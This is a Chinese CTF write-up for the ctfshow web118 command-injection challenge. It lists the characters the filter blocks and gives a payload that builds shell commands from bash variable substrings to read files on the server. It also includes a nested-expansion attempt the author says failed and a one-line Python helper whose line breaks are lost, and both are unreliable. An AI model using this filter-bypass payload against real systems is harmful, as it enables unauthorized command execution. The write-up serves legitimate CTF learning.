[ctfshow web入门] web118
信息收集
遇事不决先抓包,发现源代码里有注释
输入一些命令,出现evil input
,直到尝试到单个字母还是evil input
,我的记忆里搜索到,可能是过滤单个字符的题目,那时候我还专门跑了过滤了哪些字符的
使用burpsuite抓包,发送到intruder
得到的结果有两种长度,一种是1155一种是1165,1165包含了evil input
字符串
被禁用的字符包括
%00-%0F
! " % & ' ( ) * + , - . /
0-9
< = > `
a-z
|
还剩下大写字母以及关键的$
解题
还记得之前用$
和大写字母拼空格吗,其实还可以拼好shell
反正我的知识储备不够,拼不出来,直接看答案了
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???${PATH:~A}${PWD:~A}${IFS}????.???
要想看懂答案,还得开其他题收集一些情报
$PWD /var/www/html
$HOME /home/www-data
~A -1
$SHLVL 1
${#RANDOM} 4或5
$PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
${IFS} 空格
${#TERM} //没收集到,猜测是5 xtern vt100 vt220长度都是5
自己组一个echo,可惜不知道为什么失败了,不然就能印证我上面收集到的数据是正确的,也能拿到上面那些环境变量的真实数据了
e=${${${${HOME:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}:${#SHLVL}}
c=${${${${${${${PATH:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}:${#SHLVL}}
h=${HOME:${#SHLVL}:${#SHLVL}}
o=${${PATH:${#SHLVL}}:${#SHLVL}:${#SHLVL}}${${${${HOME:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}:${#SHLVL}}${${${${${${${PATH:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}:${#SHLVL}}${HOME:${#SHLVL}:${#SHLVL}}${${PATH:${#SHLVL}}:${#SHLVL}:${#SHLVL}}${IFS}
上面代码的生成脚本
def get_string(s, n):res = ""res += '${' * n + s + ':${#SHLVL}''}' * nreturn res[:-1]+':${#SHLVL}}'print(get_string('PATH', 2))
web 目录 web